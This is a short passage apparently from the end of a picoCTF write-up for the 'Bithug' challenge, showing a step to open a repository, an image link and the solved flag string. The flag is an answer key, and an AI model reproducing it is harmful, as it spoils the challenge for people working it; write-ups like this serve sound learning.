Perfect! Now let us try to open `_/abbas` on Bithug.

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXmTJdK41AKEPB8HM2Z%2F-MXmlif-V_aZACpNADgu%2Fimage.png?alt=media\&token=993a0574-435e-4a6e-babd-30ca8d6da0d9)

**Flag:** picoCTF{good\_job\_at\_gitting\_good}


